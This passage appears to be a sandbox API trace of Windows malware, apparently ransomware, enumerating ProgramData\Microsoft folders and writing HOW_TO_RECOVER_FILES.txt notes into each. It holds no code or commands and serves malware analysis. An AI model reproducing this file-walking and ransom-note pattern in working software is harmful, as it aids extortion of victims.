lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0092.761] CloseHandle (hObject=0x768) returned 1 [0092.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.762] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WDF", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WDF", lpFilePart=0x0) returned 0x1c [0092.762] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WDF\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.762] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.762] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.762] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.763] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WDF", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WDF", lpFilePart=0x0) returned 0x1c [0092.763] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WDF\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.763] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.763] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.763] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.763] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WDF\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WDF\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0092.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0092.763] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WDF\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\wdf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0092.764] GetFileType (hFile=0x768) returned 0x1 [0092.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0092.764] GetFileType (hFile=0x768) returned 0x1 [0092.765] WriteFile (in: hFile=0x768, lpBuffer=0x38283b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x38283b8*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0092.766] CloseHandle (hObject=0x768) returned 1 [0092.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.766] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WinMSIPC", lpFilePart=0x0) returned 0x21 [0092.766] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.767] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.767] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0092.767] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0092.768] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.768] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WinMSIPC", lpFilePart=0x0) returned 0x21 [0092.768] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.768] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.768] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0092.768] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.768] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0092.769] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server", lpFilePart=0x0) returned 0x28 [0092.769] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.769] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.769] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.769] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0092.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0092.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0092.770] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server", lpFilePart=0x0) returned 0x28 [0092.770] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0092.770] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.770] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.770] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0092.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0092.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0092.770] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0092.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0092.771] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\Server\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\winmsipc\\server\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0092.771] GetFileType (hFile=0x768) returned 0x1 [0092.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0092.771] GetFileType (hFile=0x768) returned 0x1 [0092.772] WriteFile (in: hFile=0x768, lpBuffer=0x3846c18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3846c18*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0092.773] CloseHandle (hObject=0x768) returned 1 [0092.773] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WinMSIPC\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0092.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0092.774] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\WinMSIPC\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\winmsipc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x778 [0092.910] GetFileType (hFile=0x778) returned 0x1 [0092.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0092.910] GetFileType (hFile=0x778) returned 0x1 [0092.911] WriteFile (in: hFile=0x778, lpBuffer=0x33da718*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x33da718*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0092.913] CloseHandle (hObject=0x778) returned 1 [0092.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.913] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x20 [0092.913] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0092.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1 [0092.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0092.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0092.914] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0092.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0092.915] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x20 [0092.915] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0092.915] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.915] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DMProfiles", cAlternateFileName="DMPROF~1")) returned 1 [0092.915] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0092.915] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0092.916] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0092.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0092.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0092.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0092.916] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\WwanSvc\\DMProfiles", lpFilePart=0x0) returned 0x2b 